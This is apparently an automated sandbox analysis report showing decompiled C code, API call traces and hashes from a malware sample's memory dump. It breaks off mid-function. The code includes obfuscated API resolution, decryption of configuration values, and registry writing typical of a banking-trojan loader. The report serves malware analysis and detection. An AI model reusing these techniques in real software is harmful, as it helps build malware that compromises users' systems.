Part of subcall function 033D71A3: GetProcAddress.KERNEL32(00000000,614D775A), ref: 033D7200
Part of subcall function 033D71A3: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 033D7216
Part of subcall function 033D71A3: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 033D722C
Part of subcall function 033D71A3: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 033D7242

memset.NTDLL ref: 033D78A0

Part of subcall function 033D1000: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,?,63699BCE,033D4F1C,73797325), ref: 033D1011
Part of subcall function 033D1000: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 033D102B

GetModuleHandleA.KERNEL32(4E52454B,05A48CE5,73797325), ref: 033D78D7
GetProcAddress.KERNEL32(00000000), ref: 033D78DE
Wow64EnableWow64FsRedirection.KERNEL32(00000000), ref: 033D78F8
Wow64EnableWow64FsRedirection.KERNEL32(00000001), ref: 033D7916
CloseHandle.KERNEL32(00000000), ref: 033D7925
CloseHandle.KERNEL32(?), ref: 033D792A
GetLastError.KERNEL32 ref: 033D792E
HeapFree.KERNEL32(00000000,?), ref: 033D794A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$HandleWow64$CloseEnableEnvironmentExpandModuleRedirectionStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 91923200-0
Opcode ID: ab3510fa40d24b041f1c06b475ac251b7ed73fe6cd94ddb3c81cacc3fdbc4afd
Instruction ID: 38cc1c0bdc0ddab96049171ae51b8b527783644b83b33596e6580df1f3500ce1
Opcode Fuzzy Hash: ab3510fa40d24b041f1c06b475ac251b7ed73fe6cd94ddb3c81cacc3fdbc4afd
Instruction Fuzzy Hash: C6315676901219ABDB11EFA5FC88A9EBFBCFF08350F104051E20AE7110D774AA15CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D374B, Relevance: 9.2, APIs: 6, Instructions: 190
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E033D374B(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				void* _t46;
				void* _t47;
				signed int _t49;
				signed int _t53;
				signed int _t57;
				signed int _t61;
				signed int _t65;
				signed int _t69;
				void* _t74;
				intOrPtr _t90;

				_t75 = __ecx;
				_t20 =  *0x33da2cc; // 0x63699bc3
				if(E033D3D6B( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x110) {
					 *0x33da320 = _v12;
				}
				_t25 =  *0x33da2cc; // 0x63699bc3
				if(E033D3D6B( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L48;
				} else {
					_t74 = _v12;
					if(_t74 == 0) {
						_t31 = 0;
					} else {
						_t69 =  *0x33da2cc; // 0x63699bc3
						_t31 = E033D257B(_t75, _t74, _t69 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t75 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x33da298 = _v8;
						}
					}
					if(_t74 == 0) {
						_t32 = 0;
					} else {
						_t65 =  *0x33da2cc; // 0x63699bc3
						_t32 = E033D257B(_t75, _t74, _t65 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t75 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x33da29c = _v8;
						}
					}
					if(_t74 == 0) {
						_t33 = 0;
					} else {
						_t61 =  *0x33da2cc; // 0x63699bc3
						_t33 = E033D257B(_t75, _t74, _t61 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t75 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x33da2a0 = _v8;
						}
					}
					if(_t74 == 0) {
						_t34 = 0;
					} else {
						_t57 =  *0x33da2cc; // 0x63699bc3
						_t34 = E033D257B(_t75, _t74, _t57 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t75 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x33da004 = _v8;
						}
					}
					if(_t74 == 0) {
						_t35 = 0;
					} else {
						_t53 =  *0x33da2cc; // 0x63699bc3
						_t35 = E033D257B(_t75, _t74, _t53 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t75 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x33da02c = _v8;
						}
					}
					if(_t74 == 0) {
						_t36 = 0;
					} else {
						_t49 =  *0x33da2cc; // 0x63699bc3
						_t36 = E033D257B(_t75, _t74, _t49 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t46 = 0x10;
						_t47 = E033D5A4E(_t46);
						if(_t47 != 0) {
							_push(_t47);
							E033D461D();
						}
					}
					if(_t74 == 0) {
						_t37 = 0;
					} else {
						_t44 =  *0x33da2cc; // 0x63699bc3
						_t37 = E033D257B(_t75, _t74, _t44 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E033D5A4E(0, _t37) != 0) {
						_t90 =  *0x33da37c; // 0x5a49630
						E033D6027(_t90 + 4, _t42);
					}
					_t38 =  *0x33da2d0; // 0x266d5a8
					_t18 = _t38 + 0x33db2d2; // 0x5a4887a
					_t19 = _t38 + 0x33db7c4; // 0x6976612e
					 *0x33da31c = _t18;
					 *0x33da390 = _t19;
					HeapFree( *0x33da290, 0, _t74);
					L48:
					return 0;
				}
			}

0x033d374b
0x033d374e
0x033d376e
0x033d377c
0x033d377c
0x033d3781
0x033d379b
0x033d393e
0x033d3940
0x00000000
0x033d37a1
0x033d37a1
0x033d37a8
0x033d37be
0x033d37aa
0x033d37aa
0x033d37b7
0x033d37b7
0x033d37c8
0x033d37ca
0x033d37d4
0x033d37d9
0x033d37d9
0x033d37d4
0x033d37e0
0x033d37f6
0x033d37e2
0x033d37e2
0x033d37ef
0x033d37ef
0x033d37fa
0x033d37fc
0x033d3806
0x033d380b
0x033d380b
0x033d3806
0x033d3812
0x033d3828
0x033d3814
0x033d3814
0x033d3821
0x033d3821
0x033d382c
0x033d382e
0x033d3838
0x033d383d
0x033d383d
0x033d3838
0x033d3844
0x033d385a
0x033d3846
0x033d3846
0x033d3853
0x033d3853
0x033d385e
0x033d3860
0x033d386a
0x033d386f
0x033d386f
0x033d386a
0x033d3876
0x033d388c
0x033d3878
0x033d3878
0x033d3885
0x033d3885
0x033d3890
0x033d3892
0x033d389c
0x033d38a1
0x033d38a1
0x033d389c
0x033d38a8
0x033d38be
0x033d38aa
0x033d38aa
0x033d38b7
0x033d38b7
0x033d38c2
0x033d38c4
0x033d38c7
0x033d38c8
0x033d38cf
0x033d38d1
0x033d38d2
0x033d38d2
0x033d38cf
0x033d38d9
0x033d38ef
0x033d38db
0x033d38db
0x033d38e8
0x033d38e8
0x033d38f3
0x033d3901
0x033d390b
0x033d390b
0x033d3910
0x033d3916
0x033d3923
0x033d3929
0x033d392f
0x033d3934
0x033d3941
0x033d3945
0x033d3945

APIs

StrToIntExA.SHLWAPI(00000000,00000000,033D2F44,?,033D2F44,63699BC3,?,033D2F44,63699BC3,E8FA7DD7,033DA00C,74ECC740,?,?,033D2F44), ref: 033D37D0
StrToIntExA.SHLWAPI(00000000,00000000,033D2F44,?,033D2F44,63699BC3,?,033D2F44,63699BC3,E8FA7DD7,033DA00C,74ECC740,?,?,033D2F44), ref: 033D3802
StrToIntExA.SHLWAPI(00000000,00000000,033D2F44,?,033D2F44,63699BC3,?,033D2F44,63699BC3,E8FA7DD7,033DA00C,74ECC740,?,?,033D2F44), ref: 033D3834
StrToIntExA.SHLWAPI(00000000,00000000,033D2F44,?,033D2F44,63699BC3,?,033D2F44,63699BC3,E8FA7DD7,033DA00C,74ECC740,?,?,033D2F44), ref: 033D3866
StrToIntExA.SHLWAPI(00000000,00000000,033D2F44,?,033D2F44,63699BC3,?,033D2F44,63699BC3,E8FA7DD7,033DA00C,74ECC740,?,?,033D2F44), ref: 033D3898
HeapFree.KERNEL32(00000000,?,?,033D2F44,63699BC3,?,033D2F44,63699BC3,E8FA7DD7,033DA00C,74ECC740,?,?,033D2F44), ref: 033D3934

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4215511b3c601102f62a0df74f6229c62690d7c28a96dcd9e9ef129216f69db0
Instruction ID: 014eefaf049b3eb57403a1561e0da75f7c9c2c260b42fc79120591d2beae9083
Opcode Fuzzy Hash: 4215511b3c601102f62a0df74f6229c62690d7c28a96dcd9e9ef129216f69db0
Instruction Fuzzy Hash: 655166BAE11605ABCB11EBB9FDC4C6FF7EDAB48711B284915B402D7108E632DE148B61

Uniqueness

Uniqueness Score: -1.00%

Function 033D2BF3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 033D2C4F
SysAllocString.OLEAUT32(0070006F), ref: 033D2C63
SysAllocString.OLEAUT32(00000000), ref: 033D2C75
SysFreeString.OLEAUT32(00000000), ref: 033D2CD9
SysFreeString.OLEAUT32(00000000), ref: 033D2CE8
SysFreeString.OLEAUT32(00000000), ref: 033D2CF3

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: c7c1800d39cbc83ebc34b79a2fcc8be4d781f748654a167d1a031bb30ef765cd
Instruction ID: 6f56013ea8064b112459004cc847f57010913d8dac0f1f1969beb1fdf6f2a4f3
Opcode Fuzzy Hash: c7c1800d39cbc83ebc34b79a2fcc8be4d781f748654a167d1a031bb30ef765cd
Instruction Fuzzy Hash: 21315232D00609AFDB01EFB8E98869FF7BAAF49300F154425ED10EB114DB769E05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 033D71A3, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D71A3(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E033D5C4E(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x33da2d0; // 0x266d5a8
					_t1 = _t23 + 0x33db11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x33da2d0; // 0x266d5a8
					_t2 = _t26 + 0x33db787; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E033D2A03(_t54);
					} else {
						_t30 =  *0x33da2d0; // 0x266d5a8
						_t5 = _t30 + 0x33db774; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x33da2d0; // 0x266d5a8
							_t7 = _t33 + 0x33db797; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x33da2d0; // 0x266d5a8
								_t9 = _t36 + 0x33db756; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x33da2d0; // 0x266d5a8
									_t11 = _t39 + 0x33db7ac; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E033D225C(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x033d71b2
0x033d71b6
0x033d7278
0x033d71bc
0x033d71bc
0x033d71c1
0x033d71d4
0x033d71d6
0x033d71db
0x033d71e3
0x033d71ea
0x033d71ee
0x033d71f1
0x033d7270
0x033d7271
0x033d71f3
0x033d71f3
0x033d71f8
0x033d7200
0x033d7204
0x033d7207
0x00000000
0x033d7209
0x033d7209
0x033d720e
0x033d7216
0x033d721a
0x033d721d
0x00000000
0x033d721f
0x033d721f
0x033d7224
0x033d722c
0x033d7230
0x033d7233
0x00000000
0x033d7235
0x033d7235
0x033d723a
0x033d7242
0x033d7246
0x033d7249
0x00000000
0x033d724b
0x033d7251
0x033d7256
0x033d725d
0x033d7264
0x033d7267
0x00000000
0x033d7269
0x033d726c
0x033d726c
0x033d7267
0x033d7249
0x033d7233
0x033d721d
0x033d7207
0x033d71f1
0x033d7286

APIs

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

GetModuleHandleA.KERNEL32(4C44544E,00000020,74183966,00000000,00000000,?,?,?,033D7852,?,?,?,?,00000000,00000000), ref: 033D71C8
GetProcAddress.KERNEL32(00000000,7243775A), ref: 033D71EA
GetProcAddress.KERNEL32(00000000,614D775A), ref: 033D7200
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 033D7216
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 033D722C
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 033D7242

Part of subcall function 033D225C: memset.NTDLL ref: 033D22DB

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: a63f61bee9b6c3c3cbb89c323586be8a48d9e0790d2bac6b2bd94b8f76a50356
Instruction ID: ee32ca3cfa20716e668766d292db40910e874a4e818de581ae96b9e325a1b71d
Opcode Fuzzy Hash: a63f61bee9b6c3c3cbb89c323586be8a48d9e0790d2bac6b2bd94b8f76a50356
Instruction Fuzzy Hash: 282128B250120AEFDB60EFA9EDC4E9AB7FCEB04780F054525F809C7255E735E9158BA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D63CD, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E033D63CD(intOrPtr __eax, intOrPtr __edi, long _a4, intOrPtr _a8) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				long _t18;
				intOrPtr _t22;
				intOrPtr _t23;
				long _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr* _t32;

				_t30 = __edi;
				_t29 = _a4;
				_t31 = __eax;
				_t18 = E033D2BF3(_t29, __edi, __eax);
				_a4 = _t18;
				if(_t18 != 0) {
					memset( &_v60, 0, 0x38);
					_t22 =  *0x33da2d0; // 0x266d5a8
					_v64 = 0x3c;
					if(_a8 == 0) {
						_t7 = _t22 + 0x33db4e0; // 0x70006f
						_t23 = _t7;
					} else {
						_t6 = _t22 + 0x33db92c; // 0x750072
						_t23 = _t6;
					}
					_v36 = _t31;
					_t32 = __imp__;
					_v52 = _t23;
					_v48 = _t29;
					_v44 = _t30;
					 *_t32(0);
					_push( &_v64);
					if( *0x33da100() != 0) {
						_a4 = _a4 & 0x00000000;
					} else {
						_a4 = GetLastError();
					}
					 *_t32(1);
				}
				return _a4;
			}

0x033d63cd
0x033d63d4
0x033d63d8
0x033d63dd
0x033d63e4
0x033d63e7
0x033d63f1
0x033d63f6
0x033d6402
0x033d6409
0x033d6413
0x033d6413
0x033d640b
0x033d640b
0x033d640b
0x033d640b
0x033d6419
0x033d641c
0x033d6424
0x033d6427
0x033d642a
0x033d642d
0x033d6432
0x033d643b
0x033d6448
0x033d643d
0x033d6443
0x033d6443
0x033d644e
0x033d644e
0x033d6456

APIs

Part of subcall function 033D2BF3: SysAllocString.OLEAUT32(?), ref: 033D2C4F
Part of subcall function 033D2BF3: SysAllocString.OLEAUT32(0070006F), ref: 033D2C63
Part of subcall function 033D2BF3: SysAllocString.OLEAUT32(00000000), ref: 033D2C75
Part of subcall function 033D2BF3: SysFreeString.OLEAUT32(00000000), ref: 033D2CD9

memset.NTDLL ref: 033D63F1
Wow64EnableWow64FsRedirection.KERNEL32(00000000), ref: 033D642D
GetLastError.KERNEL32 ref: 033D643D
Wow64EnableWow64FsRedirection.KERNEL32(00000001), ref: 033D644E

Strings

<, xrefs: 033D6402

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: StringWow64$Alloc$EnableRedirection$ErrorFreeLastmemset
String ID: <
API String ID: 593937197-4251816714
Opcode ID: 37c6b953def9c5a9b4fb67a1d7b64618dd35417eb79aa105d652c3c2ba7a3104
Instruction ID: 6302f34effb7a7c4ff604ef9271b795ad41695266edcc2a1ea6f6eb0657981d5
Opcode Fuzzy Hash: 37c6b953def9c5a9b4fb67a1d7b64618dd35417eb79aa105d652c3c2ba7a3104
Instruction Fuzzy Hash: 71110C72D00218ABDB10EFA5F8C5BD97BFCBB08384F448026E915EB280D77495548BA5

Uniqueness

Uniqueness Score: -1.00%

Function 033D2A18, Relevance: 7.5, APIs: 5, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D2A18(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x33da2c4 = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 <= 5) {
					_t5 = 0x32;
					return _t5;
				}
				 *0x33da2b4 = _t4;
				_t6 = GetCurrentProcessId();
				 *0x33da2b0 = _t6;
				 *0x33da2bc = _a4;
				_t7 = OpenProcess(0x10047a, 0, _t6);
				 *0x33da2ac = _t7;
				if(_t7 == 0) {
					 *0x33da2ac =  *0x33da2ac | 0xffffffff;
				}
				return 0;
			}

0x033d2a20
0x033d2a28
0x033d2a2d
0x00000000
0x033d2a7a
0x033d2a2f
0x033d2a37
0x033d2a77
0x00000000
0x033d2a77
0x033d2a39
0x033d2a3e
0x033d2a50
0x033d2a55
0x033d2a5b
0x033d2a63
0x033d2a68
0x033d2a6a
0x033d2a6a
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,033D446F,?,?,00000001), ref: 033D2A20
GetVersion.KERNEL32(?,00000001), ref: 033D2A2F
GetCurrentProcessId.KERNEL32(?,00000001), ref: 033D2A3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001), ref: 033D2A5B
GetLastError.KERNEL32(?,00000001), ref: 033D2A7A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 12cedc8bc2187f1f437e96560207e6225adce775d875cfd9f4c840483d78c05d
Instruction ID: 1c2a23362808190a7389fffc6988bc8fb71f89a73a252138ac6fdae2098dfc37
Opcode Fuzzy Hash: 12cedc8bc2187f1f437e96560207e6225adce775d875cfd9f4c840483d78c05d
Instruction Fuzzy Hash: 71F0B771686301AFD721EF66BEC97167AACF748751F008919E646C62C8DB754031CF18

Uniqueness

Uniqueness Score: -1.00%

Function 033D202E, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E033D202E(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x33da38c);
					_t97 = 0x80000002;
					L6:
					_t60 = E033D33FA(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E033D4B4F(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E033D2A03(_a8);
						goto L29;
					}
					_t65 =  *0x33da2d0; // 0x266d5a8
					_t16 = _t65 + 0x33db908; // 0x65696c43
					_t68 = E033D33FA(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d033d90
						if(E033D5C15(_t103,  *_t33, _t97, _a8,  *0x33da384,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x33da2d0; // 0x266d5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x33dba0f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x33db927; // 0x55434b48
								_t73 = _t34;
							}
							if(E033D762C(_t73,  *0x33da384,  *0x33da388,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x33da2d0; // 0x266d5a8
									_t44 = _t75 + 0x33db893; // 0x74666f53
									_t78 = E033D33FA(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d033d90
										E033D33B7( *_t47, _t97, _a8,  *0x33da388, _a24);
										_t49 = _t107 + 0x10; // 0x3d033d90
										E033D33B7( *_t49, _t97, _t105,  *0x33da380, _a16);
										E033D2A03(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d033d90
									E033D33B7( *_t40, _t97, _a8,  *0x33da388, _a24);
									_t43 = _t107 + 0x10; // 0x3d033d90
									E033D33B7( *_t43, _t97, _a8,  *0x33da380, _a16);
								}
								if( *_t107 != 0) {
									E033D2A03(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d033d90
					if(E033D5419( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d033d90
							E033D5C15(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E033D2A03(_t106);
						_t104 = _a16;
					}
					E033D2A03(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E033D7973(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x33da38c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x033d202e
0x033d2037
0x033d203e
0x033d2043
0x033d20b0
0x033d20b6
0x033d20bb
0x033d20c4
0x033d20cb
0x033d20ce
0x033d2242
0x033d2249
0x033d2249
0x033d224e
0x033d2250
0x033d2250
0x033d2259
0x033d2259
0x033d20d4
0x033d20e0
0x033d2238
0x033d223b
0x00000000
0x033d223b
0x033d20e6
0x033d20eb
0x033d20f4
0x033d20fb
0x033d20fe
0x033d2148
0x033d2148
0x033d215b
0x033d2165
0x033d216d
0x033d2172
0x033d217c
0x033d217c
0x033d2174
0x033d2174
0x033d2174
0x033d2174
0x033d219e
0x033d21a6
0x033d21d4
0x033d21d9
0x033d21e2
0x033d21e7
0x033d21eb
0x033d221d
0x033d21ed
0x033d21fa
0x033d21fd
0x033d220d
0x033d2210
0x033d2216
0x033d2216
0x033d21a8
0x033d21b5
0x033d21b8
0x033d21ca
0x033d21cd
0x033d21cd
0x033d2227
0x033d2233
0x033d2229
0x033d222c
0x033d222c
0x033d2227
0x033d219e
0x00000000
0x033d2165
0x033d210d
0x033d2117
0x033d2119
0x033d211e
0x033d2122
0x033d2124
0x033d212f
0x033d2132
0x033d2132
0x033d2138
0x033d213d
0x033d213d
0x033d2143
0x00000000
0x033d2143
0x033d2048
0x00000000
0x033d206f
0x033d206f
0x033d207b
0x033d208e
0x033d2094
0x033d209c
0x00000000
0x033d209c

APIs

StrChrA.SHLWAPI(033D7319,0000005F,00000000,00000000,00000104), ref: 033D2061
lstrcpy.KERNEL32(?,?), ref: 033D208E

Part of subcall function 033D33FA: lstrlen.KERNEL32(?,033DA380,75187FC0,00000000,033D2788,?,?,?,?,?,033D3EAC,?), ref: 033D3403
Part of subcall function 033D33FA: mbstowcs.NTDLL ref: 033D342A
Part of subcall function 033D33FA: memset.NTDLL ref: 033D343C

Part of subcall function 033D33B7: lstrlenW.KERNEL32(033D7319,?,?,033D2202,3D033D90,80000002,033D7319,033D742D,74666F53,4D4C4B48,033D742D,?,3D033D90,80000002,033D7319,?), ref: 033D33D7

Part of subcall function 033D2A03: RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

lstrcpy.KERNEL32(?,00000000), ref: 033D20B0

Strings

\, xrefs: 033D2094

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 86399bf11ba851289502c69cfdf38a22a20c45a54786489a05a2713fc30adff6
Instruction ID: 120780acccc1f8ecc50e397ab3b731853517c4dbaf5a700002544e5cc9bd914c
Opcode Fuzzy Hash: 86399bf11ba851289502c69cfdf38a22a20c45a54786489a05a2713fc30adff6
Instruction Fuzzy Hash: 8851387A900209AFDF61EFA0FDC0EAB77BEEF08310F048915F91596560D735D9259B11

Uniqueness

Uniqueness Score: -1.00%

Function 033D13B4, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E033D13B4(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
